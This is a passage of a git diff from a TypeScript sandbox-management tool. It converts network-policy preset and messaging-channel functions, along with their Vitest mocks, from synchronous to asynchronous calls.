policy.recheckPolicyMutationContext(sandboxName, operation, context); }, inspectMessagingProviderAttachmentTarget(sandboxName: string, gatewayName: string): string { return inspectOpenShellSandboxIdentityFingerprint({ diff --git a/src/lib/actions/sandbox/policy-channel-list.test.ts b/src/lib/actions/sandbox/policy-channel-list.test.ts index 051f05e49e2..784cfe1afd7 100644 --- a/src/lib/actions/sandbox/policy-channel-list.test.ts +++ b/src/lib/actions/sandbox/policy-channel-list.test.ts @@ -40,24 +40,24 @@ describe("policy list live state", () => { mocks.getGatewayPresets.mockReturnValue(["npm"]); }); - it("marks presets from the current OpenShell policy as active", () => { - listSandboxPolicies("alpha"); + it("marks presets from the current OpenShell policy as active", async () => { + await listSandboxPolicies("alpha"); expect(output()).toContain("● npm [user-added]"); expect(output()).toContain("○ pypi"); }); - it("lists namespaced custom presets derived from live policy", () => { + it("lists namespaced custom presets derived from live policy", async () => { mocks.listCustomPresets.mockReturnValue([ { file: "corp.yaml", name: "corp", description: "custom OpenShell policy" }, ]); mocks.getAppliedPresets.mockReturnValue(["corp"]); mocks.getGatewayPresets.mockReturnValue(["corp"]); - listSandboxPolicies("alpha"); + await listSandboxPolicies("alpha"); expect(output()).toContain("● corp [user-added]"); }); - it("does not report a durable baseline exclusion or repair ledger", () => { - listSandboxPolicies("alpha"); + it("does not report a durable baseline exclusion or repair ledger", async () => { + await listSandboxPolicies("alpha"); expect(output()).not.toContain("repair required"); expect(output()).not.toContain("Baseline exclusions"); }); diff --git a/src/lib/actions/sandbox/policy-channel-lock.test.ts b/src/lib/actions/sandbox/policy-channel-lock.test.ts index c9690fdb4bf..370cab7afa3 100644 --- a/src/lib/actions/sandbox/policy-channel-lock.test.ts +++ b/src/lib/actions/sandbox/policy-channel-lock.test.ts @@ -43,15 +43,15 @@ describe("policy and channel sandbox mutation locking", () => { vi.spyOn(policies, "listPresets").mockReturnValue([ { file: "pypi.yaml", name: "pypi", description: "Python Package Index access" }, ]); - vi.spyOn(policies, "listCustomPresets").mockReturnValue([]); - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["pypi"]); - vi.spyOn(policies, "getGatewayPresets").mockReturnValue(null); + vi.spyOn(policies, "listCustomPresets").mockResolvedValue([]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["pypi"]); + vi.spyOn(policies, "getGatewayPresets").mockResolvedValue(null); vi.spyOn(policies, "loadPresetForSandbox").mockImplementation( - (_sandboxName, presetName) => + async (_sandboxName, presetName) => `network_policies:\n ${presetName}:\n name: ${presetName}\n endpoints:\n - host: example.com\n port: 443\n`, ); vi.spyOn(policies, "parsePresetPolicyKeys").mockReturnValue(["telegram"]); - vi.spyOn(policies, "getPresetContentGatewayState").mockReturnValue("absent"); + vi.spyOn(policies, "getPresetContentGatewayState").mockResolvedValue("absent"); vi.spyOn(policies, "getPresetValidationWarning").mockReturnValue(null); vi.spyOn(policies, "getPresetEndpoints").mockReturnValue(["example.com"]); vi.spyOn(policies, "resolveSandboxBaselinePolicy").mockReturnValue({ diff --git a/src/lib/actions/sandbox/policy-channel-policy.test.ts b/src/lib/actions/sandbox/policy-channel-policy.test.ts index 951c6d6d94b..9d608d6ab0f 100644 --- a/src/lib/actions/sandbox/policy-channel-policy.test.ts +++ b/src/lib/actions/sandbox/policy-channel-policy.test.ts @@ -105,9 +105,9 @@ beforeEach(() => { ); vi.spyOn(policies, "listPresets").mockReturnValue(POLICY_PRESETS); - vi.spyOn(policies, "listCustomPresets").mockReturnValue([]); - getAppliedPresetsMock = vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); - getGatewayPresetsMock = vi.spyOn(policies, "getGatewayPresets").mockReturnValue(null); + vi.spyOn(policies, "listCustomPresets").mockResolvedValue([]); + getAppliedPresetsMock = vi.spyOn(policies, "getAppliedPresets").mockResolvedValue([]); + getGatewayPresetsMock = vi.spyOn(policies, "getGatewayPresets").mockResolvedValue(null); selectFromListMock = vi.spyOn(policies, "selectFromList").mockResolvedValue("pypi"); selectForRemovalMock = vi.spyOn(policies, "selectForRemoval").mockResolvedValue("pypi"); vi.spyOn(policies, "loadPreset").mockImplementation((name: unknown) => { @@ -116,12 +116,12 @@ beforeEach(() => { }); loadPresetForSandboxMock = vi .spyOn(policies, "loadPresetForSandbox") - .mockImplementation((_sandboxName: unknown, name: unknown) => { + .mockImplementation(async (_sandboxName: unknown, name: unknown) => { const presetName = String(name); return `network_policies:\n ${presetName}:\n name: ${presetName}\n endpoints:\n - host: ${presetName}.example.com\n port: 443\n protocol: rest\n rules:\n - allow: { method: GET, path: "/**" }\n`; }); - applyPresetMock = vi.spyOn(policies, "applyPreset").mockReturnValue(true); - removePresetMock = vi.spyOn(policies, "removePreset").mockReturnValue(true); + applyPresetMock = vi.spyOn(policies, "applyPreset").mockResolvedValue(true); + removePresetMock = vi.spyOn(policies, "removePreset").mockResolvedValue(true); }); afterEach(() => { diff --git a/src/lib/actions/sandbox/policy-channel-refresh.test.ts b/src/lib/actions/sandbox/policy-channel-refresh.test.ts index 5d58d7f4672..8dc98d707ff 100644 --- a/src/lib/actions/sandbox/policy-channel-refresh.test.ts +++ b/src/lib/actions/sandbox/policy-channel-refresh.test.ts @@ -88,21 +88,21 @@ beforeEach(() => { ); vi.spyOn(policies, "listPresets").mockReturnValue(POLICY_PRESETS); - vi.spyOn(policies, "listCustomPresets").mockReturnValue([]); - vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); - vi.spyOn(policies, "getGatewayPresets").mockReturnValue(null); + vi.spyOn(policies, "listCustomPresets").mockResolvedValue([]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue([]); + vi.spyOn(policies, "getGatewayPresets").mockResolvedValue(null); vi.spyOn(policies, "selectFromList").mockResolvedValue("pypi"); vi.spyOn(policies, "selectForRemoval").mockResolvedValue("pypi"); vi.spyOn(policies, "loadPreset").mockImplementation((name: unknown) => { return `network_policies:\n ${String(name)}:\n host: ${String(name)}.example.com\n`; }); vi.spyOn(policies, "loadPresetForSandbox").mockImplementation( - (_sandboxName: unknown, name: unknown) => + async (_sandboxName: unknown, name: unknown) => `network_policies:\n ${String(name)}:\n host: ${String(name)}.example.com\n`, ); - applyPresetMock = vi.spyOn(policies, "applyPreset").mockReturnValue(true); - removePresetMock = vi.spyOn(policies, "removePreset").mockReturnValue(true); - applyPresetContentMock = vi.spyOn(policies, "applyPresetContent").mockReturnValue(true); + applyPresetMock = vi.spyOn(policies, "applyPreset").mockResolvedValue(true); + removePresetMock = vi.spyOn(policies, "removePreset").mockResolvedValue(true); + applyPresetContentMock = vi.spyOn(policies, "applyPresetContent").mockResolvedValue(true); loadPresetFromFileMock = vi.spyOn(policies, "loadPresetFromFile").mockImplementation(() => ({ presetName: "custom", content: "network_policies:\n custom:\n host: custom.example.com\n", @@ -112,7 +112,7 @@ beforeEach(() => { refreshSpy = vi .spyOn(policyContextRefresh, "refreshSandboxPolicyContextFile") - .mockReturnValue({ outcome: "ok", written: true }); + .mockResolvedValue({ outcome: "ok", written: true }); }); afterEach(() => { @@ -242,7 +242,7 @@ network_policies: describe("removeSandboxPolicy refresh contract", () => { beforeEach(() => { - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["pypi"]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["pypi"]); }); it("refreshes the in-sandbox POLICY.md after a successful removal", async () => { @@ -281,7 +281,7 @@ describe("removeSandboxPolicy refresh contract", () => { }); it("does not refresh when the preset is not currently applied", async () => { - vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue([]); await expect( captureExit(() => removeSandboxPolicy("alpha", { preset: "pypi", yes: true })), @@ -293,8 +293,8 @@ describe("removeSandboxPolicy refresh contract", () => { }); describe("applyChannelPresetIfAvailable refresh contract", () => { - it("refreshes once after a successful channel preset apply", () => { - const ok = applyChannelPresetIfAvailable("alpha", "discord"); + it("refreshes once after a successful channel preset apply", async () => { + const ok = await applyChannelPresetIfAvailable("alpha", "discord"); expect(ok).toBe(true); expect(applyPresetMock).toHaveBeenCalledWith("alpha", "discord", { @@ -304,10 +304,10 @@ describe("applyChannelPresetIfAvailable refresh contract", () => { expect(refreshSpy).toHaveBeenCalledWith("alpha"); }); - it("does not refresh when policy library reports apply failure", () => { + it("does not refresh when policy library reports apply failure", async () => { applyPresetMock.mockReturnValue(false); - const ok = applyChannelPresetIfAvailable("alpha", "discord"); + const ok = await applyChannelPresetIfAvailable("alpha", "discord"); expect(ok).toBe(false); expect(applyPresetMock).toHaveBeenCalledWith("alpha", "discord", { @@ -316,12 +316,12 @@ describe("applyChannelPresetIfAvailable refresh contract", () => { expect(refreshSpy).not.toHaveBeenCalled(); }); - it("does not refresh when policy library throws", () => { + it("does not refresh when policy library throws", async () => { applyPresetMock.mockImplementation(() => { throw new Error("preset YAML missing"); }); - const ok = applyChannelPresetIfAvailable("alpha", "discord"); + const ok = await applyChannelPresetIfAvailable("alpha", "discord"); expect(ok).toBe(false); expect(refreshSpy).not.toHaveBeenCalled(); @@ -329,49 +329,49 @@ describe("applyChannelPresetIfAvailable refresh contract", () => { }); describe("removeChannelPresetIfPresent refresh contract", () => { - it("refreshes once after a successful built-in channel preset removal", () => { - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["discord"]); + it("refreshes once after a successful built-in channel preset removal", async () => { + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["discord"]); - removeChannelPresetIfPresent("alpha", "discord"); + await removeChannelPresetIfPresent("alpha", "discord"); expect(removePresetMock).toHaveBeenCalledWith("alpha", "discord"); expect(refreshSpy).toHaveBeenCalledTimes(1); expect(refreshSpy).toHaveBeenCalledWith("alpha"); }); - it("does not refresh when the channel is not a built-in preset", () => { - removeChannelPresetIfPresent("alpha", "totally-not-a-preset"); + it("does not refresh when the channel is not a built-in preset", async () => { + await removeChannelPresetIfPresent("alpha", "totally-not-a-preset"); expect(removePresetMock).not.toHaveBeenCalled(); expect(refreshSpy).not.toHaveBeenCalled(); }); - it("does not refresh when the built-in preset is not currently applied", () => { - vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); + it("does not refresh when the built-in preset is not currently applied", async () => { + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue([]); - removeChannelPresetIfPresent("alpha", "discord"); + await removeChannelPresetIfPresent("alpha", "discord"); expect(removePresetMock).not.toHaveBeenCalled(); expect(refreshSpy).not.toHaveBeenCalled(); }); - it("does not refresh when policy library reports remove failure", () => { - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["discord"]); + it("does not refresh when policy library reports remove failure", async () => { + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["discord"]); removePresetMock.mockReturnValue(false); - removeChannelPresetIfPresent("alpha", "discord"); + await removeChannelPresetIfPresent("alpha", "discord"); expect(removePresetMock).toHaveBeenCalledWith("alpha", "discord"); expect(refreshSpy).not.toHaveBeenCalled(); }); - it("does not refresh when policy library throws", () => { - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["discord"]); + it("does not refresh when policy library throws", async () => { + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["discord"]); removePresetMock.mockImplementation(() => { throw new Error("preset removal racing with rebuild"); }); - removeChannelPresetIfPresent("alpha", "discord"); + await removeChannelPresetIfPresent("alpha", "discord"); expect(refreshSpy).not.toHaveBeenCalled(); }); diff --git a/src/lib/actions/sandbox/policy-channel-remove-flow.test.ts b/src/lib/actions/sandbox/policy-channel-remove-flow.test.ts index d8e9dc2e0c8..199f893213b 100644 --- a/src/lib/actions/sandbox/policy-channel-remove-flow.test.ts +++ b/src/lib/actions/sandbox/policy-channel-remove-flow.test.ts @@ -75,9 +75,9 @@ describe("policy channel remove/enable flows", () => { const updateSandbox = vi.spyOn(registry, "updateSandbox").mockReturnValue(true); vi.spyOn(openshellRuntime, "runOpenshell").mockImplementation(((args: string[]) => args.includes("cat") ? { status: 1, stderr: "missing" } : { status: 0 }) as never); - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["whatsapp"]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["whatsapp"]); vi.spyOn(policies, "listPresets").mockReturnValue([{ name: "whatsapp" } as never]); - const removePreset = vi.spyOn(policies, "removePreset").mockReturnValue(true); + const removePreset = vi.spyOn(policies, "removePreset").mockResolvedValue(true); const rebuildSandbox = vi .spyOn(policyChannelDependencies, "rebuildSandbox") .mockResolvedValue(undefined); @@ -139,7 +139,7 @@ describe("policy channel remove/enable flows", () => { } as SandboxEntry); vi.spyOn(registry, "getConfiguredMessagingChannelsFromEntry").mockReturnValue(["wechat"]); vi.spyOn(registry, "getDisabledChannels").mockReturnValue([]); - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["wechat"]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["wechat"]); await expect(removeSandboxChannel("alpha", { channel: "wechat" })).rejects.toThrow( "process.exit(1)", @@ -260,7 +260,7 @@ describe("policy channel remove/enable flows", () => { const updateSandboxSpy = vi.spyOn(registry, "updateSandbox"); const applyPresetSpy = vi.spyOn(policies, "applyPreset"); const rebuildSpy = vi.spyOn(policyChannelDependencies, "rebuildSandbox"); - vi.spyOn(policies, "getPresetContentGatewayState").mockReturnValue("absent"); + vi.spyOn(policies, "getPresetContentGatewayState").mockResolvedValue("absent"); await expect( startSandboxChannel("alpha", { channel: "telegram", dryRun: true }), ).resolves.toBeUndefined(); @@ -285,7 +285,7 @@ describe("policy channel remove/enable flows", () => { vi.spyOn(registry, "getSandbox").mockReturnValue({ name: "alpha" }); vi.spyOn(registry, "getConfiguredMessagingChannelsFromEntry").mockReturnValue(["telegram"]); vi.spyOn(registry, "getDisabledChannels").mockReturnValue(["telegram"]); - vi.spyOn(policies, "getPresetContentGatewayState").mockReturnValue("match"); + vi.spyOn(policies, "getPresetContentGatewayState").mockResolvedValue("match"); await expect( startSandboxChannel("alpha", { channel: "telegram", dryRun: true }), diff --git a/src/lib/actions/sandbox/policy-channel-scope-disclosure.test.ts b/src/lib/actions/sandbox/policy-channel-scope-disclosure.test.ts index d8ab1fc1d33..915e9cabaa2 100644 --- a/src/lib/actions/sandbox/policy-channel-scope-disclosure.test.ts +++ b/src/lib/actions/sandbox/policy-channel-scope-disclosure.test.ts @@ -48,9 +48,9 @@ beforeEach(() => { vi.spyOn(registry, "getSandbox").mockReturnValue({ name: "sb-scope" }); vi.spyOn(defs, "loadAgent").mockReturnValue(agentFixture("openclaw")); - vi.spyOn(policy, "loadPresetForSandbox").mockReturnValue(WHATSAPP_PRESET); + vi.spyOn(policy, "loadPresetForSandbox").mockResolvedValue(WHATSAPP_PRESET); vi.spyOn(policy, "parsePresetPolicyKeys").mockReturnValue(["whatsapp"]); - vi.spyOn(policy, "getPresetContentGatewayState").mockReturnValue("absent"); + vi.spyOn(policy, "getPresetContentGatewayState").mockResolvedValue("absent"); }); afterEach(() => { @@ -105,7 +105,7 @@ describe("channels add --dry-run discloses effective preset egress before mutati }); it("does not claim new egress when the channel's preset already matches the live policy (#7179)", async () => { - vi.spyOn(policy, "getPresetContentGatewayState").mockReturnValue("match"); + vi.spyOn(policy, "getPresetContentGatewayState").mockResolvedValue("match"); await addSandboxChannel("sb-scope", { channel: "whatsapp", dryRun: true }); diff --git a/src/lib/actions/sandbox/policy-channel.ts b/src/lib/actions/sandbox/policy-channel.ts index f3d3f3e152b..4632ecb9c4e 100644 --- a/src/lib/actions/sandbox/policy-channel.ts +++ b/src/lib/actions/sandbox/policy-channel.ts @@ -333,7 +333,7 @@ async function addSandboxPolicyUnlocked( policies.listPresets({ agent: sandboxAgent }), sandboxAgent, ); - const applied = policies.getAppliedPresets(sandboxName); + const applied = await policies.getAppliedPresets(sandboxName); let answer = null; let reapplyState: policies.PresetPolicyState | null = null; @@ -352,7 +352,9 @@ async function addSandboxPolicyUnlocked( // preset files in place (for example to add `tls: skip` endpoints), so // compare the preset content against the live gateway policy and fall // through to a normal re-apply when it drifted. - const customNames = policies.listCustomPresets(sandboxName).map((entry) => entry.name); + const customNames = (await policies.listCustomPresets(sandboxName)).map( + (entry) => entry.name, + ); if (customNames.includes(preset.name)) { // A custom preset owns this name, so the built-in content is the // wrong comparison baseline; re-applying it would clobber the custom @@ -363,7 +365,7 @@ async function addSandboxPolicyUnlocked( ); process.exit(1); } - const appliedContent = policies.loadPresetForSandbox( + const appliedContent = await policies.loadPresetForSandbox( sandboxName, preset.name, messagingPolicyOptions, @@ -372,12 +374,12 @@ async function addSandboxPolicyUnlocked( console.error(` Could not read the content of preset '${preset.name}'.`); process.exit(1); } - const appliedState = policies.getPresetContentGatewayState(sandboxName, appliedContent); + const appliedState = await policies.getPresetContentGatewayState(sandboxName, appliedContent); if (appliedState === "match") { const needsOpenClawNpmCheck = preset.name === "npm" && (sandboxAgent === null || sandboxAgent === "openclaw"); const npmCompatibilityState = needsOpenClawNpmCheck - ? policies.getOpenClawNpmCompatibilityState(sandboxName) + ? await policies.getOpenClawNpmCompatibilityState(sandboxName) : "match"; if (npmCompatibilityState === "repair") { reapplyState = "drift"; @@ -437,7 +439,11 @@ async function addSandboxPolicyUnlocked( } if (!answer) return; - const presetContent = policies.loadPresetForSandbox(sandboxName, answer, messagingPolicyOptions); + const presetContent = await policies.loadPresetForSandbox( + sandboxName, + answer, + messagingPolicyOptions, + ); if (!presetContent) return; if (reapplyState) { @@ -474,14 +480,14 @@ async function addSandboxPolicyUnlocked( } if ( - !policies.applyPreset(sandboxName, answer, { + !(await policies.applyPreset(sandboxName, answer, { suppressDisclosure: true, ...messagingPolicyOptions, - }) + })) ) { process.exit(1); } - refreshSandboxPolicyContextFile(sandboxName); + await refreshSandboxPolicyContextFile(sandboxName); } /** @@ -548,17 +554,22 @@ async function applyExternalPreset( } try { - const result = policies.applyPresetContent(sandboxName, loaded.presetName, loaded.content, { - custom: { - sourcePath: path.resolve(loaded.filePath), - ...(loaded.trustedPrivatePinCapability - ? { trustedPrivatePinCapability: loaded.trustedPrivatePinCapability } - : {}), + const result = await policies.applyPresetContent( + sandboxName, + loaded.presetName, + loaded.content, + { + custom: { + sourcePath: path.resolve(loaded.filePath), + ...(loaded.trustedPrivatePinCapability + ? { trustedPrivatePinCapability: loaded.trustedPrivatePinCapability } + : {}), + }, + suppressDisclosure: true, }, - suppressDisclosure: true, - }); + ); if (result !== false) { - refreshSandboxPolicyContextFile(sandboxName); + await refreshSandboxPolicyContextFile(sandboxName); } return result !== false; } catch { @@ -567,15 +578,15 @@ async function applyExternalPreset( } } -export function listSandboxPolicies(sandboxName: string) { +export async function listSandboxPolicies(sandboxName: string) { const sandboxEntry = registry.getSandbox(sandboxName); const builtin = policies.listPresets({ agent: sandboxEntry?.agent ?? null }); - const custom = policies.listCustomPresets(sandboxName); + const custom = await policies.listCustomPresets(sandboxName); const allPresets = [...builtin, ...custom]; // getGatewayPresets returns null when gateway is unreachable, or an // array of matched preset names when reachable (possibly empty). - const gatewayPresets = policies.getGatewayPresets(sandboxName); + const gatewayPresets = await policies.getGatewayPresets(sandboxName); const provenanceContext = { agentName: sandboxEntry?.agent ?? null, @@ -841,9 +852,9 @@ async function applyChannelAddToGatewayAndRegistry( channelName: string, acquired: Record, plan: SandboxMessagingPlan, - applyPolicyAfterAttachment?: () => boolean, + applyPolicyAfterAttachment?: () => Promise, upsertMessagingProviders = policyChannelDependencies.upsertMessagingProviders, - cleanupCredentialFreePolicy?: () => void, + cleanupCredentialFreePolicy?: () => Promise, ): Promise { const sandboxAgent = registry.getSandbox(sandboxName)?.agent; const staticProviderType = staticMessagingProviderTypeForChannel(channelName, sandboxAgent); @@ -880,7 +891,7 @@ async function applyChannelAddToGatewayAndRegistry( console.error( " Paste the secret at the enrollment prompt or export the env var, then re-run.", ); - cleanupCredentialFreePolicy?.(); + await cleanupCredentialFreePolicy?.(); process.exit(1); } tokenDefs.push(...bridgeDefs); @@ -894,10 +905,10 @@ async function applyChannelAddToGatewayAndRegistry( ); console.error(" in env for this run only. Rerun after starting the gateway."); console.error(` ${gatewayStartGuidance(gatewayName)}`); - cleanupCredentialFreePolicy?.(); + await cleanupCredentialFreePolicy?.(); process.exit(1); } - policyChannelDependencies.revalidateChannelProviderPolicy(sandboxName, gatewayName); + await policyChannelDependencies.revalidateChannelProviderPolicy(sandboxName, gatewayName); try { await upsertMessagingProviders( tokenDefs, @@ -914,7 +925,7 @@ async function applyChannelAddToGatewayAndRegistry( }, }, ); - if (applyPolicyAfterAttachment && !applyPolicyAfterAttachment()) { + if (applyPolicyAfterAttachment && !(await applyPolicyAfterAttachment())) { return null; } } catch (err) { @@ -958,7 +969,7 @@ async function applyChannelAddToGatewayAndRegistry( ); } } - cleanupCredentialFreePolicy?.(); + await cleanupCredentialFreePolicy?.(); process.exit(1); } const teardown = await applyChannelRemoveToGatewayAndRegistry( @@ -972,7 +983,7 @@ async function applyChannelAddToGatewayAndRegistry( ` ${YW}⚠${R} Partial provider state may remain; run '${CLI_NAME} ${sandboxName} channels remove ${channelName}' once the gateway is reachable.`, ); } - cleanupCredentialFreePolicy?.(); + await cleanupCredentialFreePolicy?.(); process.exit(1); } return true; @@ -1310,23 +1321,23 @@ function hydrateAddChannelEnvFromStoredState(sandboxName: string): void { hydrateMessagingChannelConfig(getStoredMessagingChannelConfig(sandboxName, savedSession)); } -function discloseChannelPresetScope( +async function discloseChannelPresetScope( sandboxName: string, presetName: string, presetContent: string, -): policies.PresetPolicyState | null { - const gatewayState = policies.getPresetContentGatewayState(sandboxName, presetContent); +): Promise { + const gatewayState = await policies.getPresetContentGatewayState(sandboxName, presetContent); policies.logPresetScopeForState(presetName, presetContent, gatewayState); return gatewayState; } -function loadValidateAndDiscloseChannelPreset( +async function loadValidateAndDiscloseChannelPreset( sandboxName: string, channelName: string, verb: "add" | "start", messagingConfig?: MessagingChannelConfig | null, -): policies.PresetPolicyState | null { - const presetContent = policies.loadPresetForSandbox(sandboxName, channelName, { +): Promise { + const presetContent = await policies.loadPresetForSandbox(sandboxName, channelName, { messagingConfig, }); const presetPolicyKeys = @@ -1344,7 +1355,7 @@ function loadValidateAndDiscloseChannelPreset( ); process.exit(1); } - return discloseChannelPresetScope(sandboxName, channelName, presetContent); + return await discloseChannelPresetScope(sandboxName, channelName, presetContent); } function safeLoadOnboardSession(): ReturnType { @@ -1395,7 +1406,7 @@ async function addSandboxChannelUnlocked( // Disclose before credential collection, conflict prompts, or any gateway / // registry mutation. The core apply path rechecks immediately before set. - const initialDisclosedPresetState = loadValidateAndDiscloseChannelPreset( + const initialDisclosedPresetState = await loadValidateAndDiscloseChannelPreset( sandboxName, canonical, "add", @@ -1410,7 +1421,7 @@ async function addSandboxChannelUnlocked( const messagingConfig = getMessagingChannelConfigFromPlan(plan); const disclosedPresetState = canonical === "wechat" - ? loadValidateAndDiscloseChannelPreset(sandboxName, canonical, "add", messagingConfig) + ? await loadValidateAndDiscloseChannelPreset(sandboxName, canonical, "add", messagingConfig) : initialDisclosedPresetState; const acquired = collectManifestCredentials(manifest); if (!(await checkChannelAddConflict(sandboxName, canonical, acquired, force))) { @@ -1428,10 +1439,10 @@ async function addSandboxChannelUnlocked( // operator complete pairing after rebuild. if (manifest.auth.mode === "in-sandbox-qr") { if ( - !applyChannelPresetIfAvailable(sandboxName, canonical, "add", { + !(await applyChannelPresetIfAvailable(sandboxName, canonical, "add", { disclosedPresetState, messagingConfig, - }) + })) ) { process.exit(1); } @@ -1445,7 +1456,7 @@ async function addSandboxChannelUnlocked( ); if (!MessagingHostStateApplier.applyPlanToRegistry(sandboxName, plan)) { console.error(` ${YW}⚠${R} Could not persist messaging plan for '${sandboxName}'.`); - removeChannelPresetIfPresent(sandboxName, canonical); + await removeChannelPresetIfPresent(sandboxName, canonical); process.exit(1); } console.log(""); @@ -1491,14 +1502,14 @@ async function addSandboxChannelUnlocked( // the bound policy is applied as a second stage after attachment. const cleanupCredentialFreePolicy = wasAlreadyEnabled ? undefined - : () => removeChannelPresetIfPresent(sandboxName, canonical); + : async () => await removeChannelPresetIfPresent(sandboxName, canonical); if ( !wasAlreadyEnabled && - !applyChannelPresetIfAvailable(sandboxName, canonical, "add", { + !(await applyChannelPresetIfAvailable(sandboxName, canonical, "add", { disclosedPresetState, includeMessagingCredentialBindings: false, messagingConfig, - }) + })) ) { process.exit(1); } @@ -1507,8 +1518,8 @@ async function addSandboxChannelUnlocked( canonical, acquired, plan, - () => - applyChannelPresetIfAvailable(sandboxName, canonical, "add", { + async () => + await applyChannelPresetIfAvailable(sandboxName, canonical, "add", { disclosedPresetState, messagingConfig, }), @@ -1566,9 +1577,9 @@ async function rollbackChannelAdd( } const residual: string[] = ["gateway-providers"]; if ( - !applyChannelPresetIfAvailable(sandboxName, canonical, "add", { + !(await applyChannelPresetIfAvailable(sandboxName, canonical, "add", { messagingConfig: snapshot.priorMessagingConfig, - }) + })) ) { residual.push("network-policy"); } @@ -1621,7 +1632,7 @@ async function rollbackChannelAdd( ` ${YW}⚠${R} Rolling back '${canonical}' bridge registration to keep messaging plan and policy state aligned.`, ); clearChannelTokens(channel); - removeChannelPresetIfPresent(sandboxName, canonical); + await removeChannelPresetIfPresent(sandboxName, canonical); const result = await applyChannelRemoveToGatewayAndRegistry( sandboxName, canonical, @@ -1636,7 +1647,7 @@ async function rollbackChannelAdd( return result; } -export function applyChannelPresetIfAvailable( +export async function applyChannelPresetIfAvailable( sandboxName: string, channelName: string, retryAction: "add" | "start" = "add", @@ -1645,19 +1656,19 @@ export function applyChannelPresetIfAvailable( includeMessagingCredentialBindings?: boolean; messagingConfig?: MessagingChannelConfig | null; } = {}, -): boolean { +): Promise { try { const includeMessagingCredentialBindings = options.includeMessagingCredentialBindings === undefined ? true : options.includeMessagingCredentialBindings; const applied = Object.prototype.hasOwnProperty.call(options, "disclosedPresetState") - ? policies.applyPreset(sandboxName, channelName, { + ? await policies.applyPreset(sandboxName, channelName, { disclosedPresetState: options.disclosedPresetState, includeMessagingCredentialBindings, messagingConfig: options.messagingConfig, }) - : policies.applyPreset(sandboxName, channelName, { + : await policies.applyPreset(sandboxName, channelName, { includeMessagingCredentialBindings, messagingConfig: options.messagingConfig, }); @@ -1670,7 +1681,7 @@ export function applyChannelPresetIfAvailable( ); return false; } - refreshSandboxPolicyContextFile(sandboxName); + await refreshSandboxPolicyContextFile(sandboxName); return true; } catch { console.error(` ${YW}⚠${R} Failed to apply '${channelName}' policy preset.`); @@ -1835,16 +1846,19 @@ async function clearSandboxChannelDurableState( // no longer reports it active and the L7 proxy stops allow-listing the // channel's upstream API. Removal marks the channel disabled before this // policy release, so a later provider failure remains retryable. -export function removeChannelPresetIfPresent(sandboxName: string, channelName: string): boolean { +export async function removeChannelPresetIfPresent( + sandboxName: string, + channelName: string, +): Promise { const builtinPresets = new Set(policies.listPresets().map((p) => p.name)); if (!builtinPresets.has(channelName)) { return true; } - if (!policies.getAppliedPresets(sandboxName).includes(channelName)) { + if (!(await policies.getAppliedPresets(sandboxName)).includes(channelName)) { return true; } try { - const removed = policies.removePreset(sandboxName, channelName); + const removed = await policies.removePreset(sandboxName, channelName); if (!removed) { console.error(` ${YW}⚠${R} Channel '${channelName}' policy preset failed to un-apply.`); console.error( @@ -1852,7 +1866,7 @@ export function removeChannelPresetIfPresent(sandboxName: string, channelName: s ); return false; } - refreshSandboxPolicyContextFile(sandboxName); + await refreshSandboxPolicyContextFile(sandboxName); return true; } catch { console.error(` ${YW}⚠${R} Failed to remove '${channelName}' policy preset.`); @@ -1904,7 +1918,7 @@ async function removeSandboxChannelUnlocked( const registryEntry = registry.getSandbox(sandboxName); const hasChannelResidue = registry.getConfiguredMessagingChannelsFromEntry(registryEntry).includes(canonical) || - policies.getAppliedPresets(sandboxName).includes(canonical); + (await policies.getAppliedPresets(sandboxName)).includes(canonical); const recoverPhysicalWechatResidue = canonical === "wechat" && resolveAgentForSandbox(sandboxName).name === "openclaw"; @@ -1983,7 +1997,7 @@ async function removeSandboxChannelUnlocked( removeDisabledChannelAgentConfigOrExit(sandboxName, canonical, disabledAgentConfigPlan); } - if (!removeChannelPresetIfPresent(sandboxName, canonical)) { + if (!(await removeChannelPresetIfPresent(sandboxName, canonical))) { console.error( ` ${YW}⚠${R} Channel '${canonical}' remains disabled while policy cleanup is incomplete.`, ); @@ -2078,7 +2092,7 @@ async function sandboxChannelsSetEnabled( } if (!disabled) { - loadValidateAndDiscloseChannelPreset(sandboxName, canonical, "start"); + await loadValidateAndDiscloseChannelPreset(sandboxName, canonical, "start"); } if (dryRun) { @@ -2139,11 +2153,11 @@ async function removeSandboxPolicyUnlocked( // Custom preset names are decoded from their namespaced live OpenShell keys. const builtinPresets = policies.listPresets(); - const customPresets = policies.listCustomPresets(sandboxName); + const customPresets = await policies.listCustomPresets(sandboxName); const allPresets = [...builtinPresets, ...customPresets]; // Active preset names come from the current OpenShell policy. - const applied = policies.getAppliedPresets(sandboxName); - const gatewayPresets = policies.getGatewayPresets(sandboxName); + const applied = await policies.getAppliedPresets(sandboxName); + const gatewayPresets = await policies.getGatewayPresets(sandboxName); const removable = gatewayPresets ? [...new Set([...applied, ...gatewayPresets])] : applied; const presetArg = options.preset; @@ -2181,7 +2195,7 @@ async function removeSandboxPolicyUnlocked( } if (!answer) return; - const presetContent = policies.loadPresetForSandbox(sandboxName, answer); + const presetContent = await policies.loadPresetForSandbox(sandboxName, answer); if (!presetContent) return; const endpoints = policies.getPresetEndpoints(presetContent); @@ -2199,10 +2213,10 @@ async function removeSandboxPolicyUnlocked( if (confirm.trim().toLowerCase().startsWith("n")) return; } - if (!policies.removePreset(sandboxName, answer)) { + if (!(await policies.removePreset(sandboxName, answer))) { process.exit(1); } - refreshSandboxPolicyContextFile(sandboxName); + await 